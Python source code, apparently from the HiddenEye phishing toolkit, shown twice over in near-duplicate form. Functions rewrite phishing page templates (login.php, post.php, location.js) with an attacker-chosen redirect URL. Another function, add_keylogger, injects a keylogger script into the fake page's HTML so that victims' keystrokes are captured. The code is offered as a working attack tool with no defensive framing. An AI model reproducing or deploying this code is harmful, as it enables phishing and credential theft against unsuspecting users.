def enter_custom_redirecting_url( ): # Question where user can input custom web-link run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) custom = input( localization.lang_enter_custom_redirecting_url["redirect_here"]) if "http://" in custom or "https://" in custom: pass else: custom = "http://" + custom # For Location (gdrive) Template Redirection. if path.exists("Server/www/js/location.js"): with open("Server/www/js/location.js") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/js/location.js", "w") f.write(c) f.close() if path.exists("Server/www/post.php") and path.exists( "Server/www/login.php"): with open("Server/www/login.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/login.php", "w") f.write(c) f.close() with open("Server/www/post.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/post.php", "w") f.write(c) f.close() else: try: with open("Server/www/login.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/login.php", "w") f.write(c) f.close() except FileNotFoundError: run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print( "[^] ERROR: Please make sure your folder contains a valid login.php file." ) exit()
def enter_custom_redirecting_url( ): # Question where user can input custom web-link run_command('clear') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) custom = input( localization.lang_enter_custom_redirecting_url["redirect_here"]) if 'http://' in custom or 'https://' in custom: pass else: custom = 'http://' + custom if path.exists('Server/www/js/location.js' ): # For Location (gdrive) Template Redirection. with open('Server/www/js/location.js') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/js/location.js', 'w') f.write(c) f.close() if path.exists('Server/www/post.php') and path.exists( 'Server/www/login.php'): with open('Server/www/login.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/login.php', 'w') f.write(c) f.close() with open('Server/www/post.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/post.php', 'w') f.write(c) f.close() else: with open('Server/www/login.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/login.php', 'w') f.write(c) f.close()
def add_keylogger(): if path.exists('Server/www/index.html'): with open('Server/www/index.html') as f: read_data = f.read() c = read_data.replace( '</title>', '</title><script src="keylogger.js"></script>') f = open('Server/www/index.html', 'w') f.write(c) f.close() print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) wait(2) else: with open('Server/www/index.php') as f: read_data = f.read() c = read_data.replace( '</title>', '</title><script src="keylogger.js"></script>') f = open('Server/www/index.php', 'w') f.write(c) f.close() print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) wait(2)